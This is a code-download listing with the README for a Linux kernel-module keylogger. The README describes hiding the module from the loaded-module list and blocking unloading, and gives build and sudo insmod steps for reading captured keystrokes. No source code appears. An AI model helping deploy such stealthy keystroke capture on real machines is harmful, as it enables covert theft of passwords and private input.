kernel-based-keylogger-for-Linux

所属分类:Linux/Unix编程
开发工具:C
文件大小:0KB
下载次数:0
上传日期:2018-04-03 19:59:33
上 传 者sh-1993
说明:  no intro
(A simplex kernel-based keylogger written for fun, not evil.)

文件列表:
AKeylogger.c (5890, 2018-04-03)
LICENSE (35147, 2018-04-03)
Makefile (159, 2018-04-03)

# kernel-based keylogger for Linux. A simplex kernel-based keylogger written for fun, not evil. ### Functionality The keylogger can do the following: - Hide itself from loadable kernel modules list - Protect against being unloaded by the user - Unhide itself ### Supported Platforms The keylogger was tested to work on Linux kernels 4.8.0-52 and 4.10 TLS as provided by Ubuntu in Ubuntu 16.04 LTS and Ubuntu 16.10 respectively, but it should be very easy to port to kernels in-between, as well as newer ones. ### Setting Up Environment Install a compiler, Linux headers and all other things required for us to build the keylogger: ``` apt-get update apt-get install build-essential ``` ### Build > make ### Use To install the keylogger module: > sudo insmod AKeylogger.ko Test whether the module is loaded: > lsmod | grep "AKeylogger" > dmesg Test whether the logging is happening: > cat /proc/AKeylog The log file will show the keystrokes logged after the module has been loaded. To uninstall the keylogger module: > sudo rmmod AKeylogger License This project is licensed under [GPLv3](https://github.com/AlirezaChegini/kernel-based-keylogger-for-Linux/blob/master/LICENSE).

近期下载者

相关文件


收藏者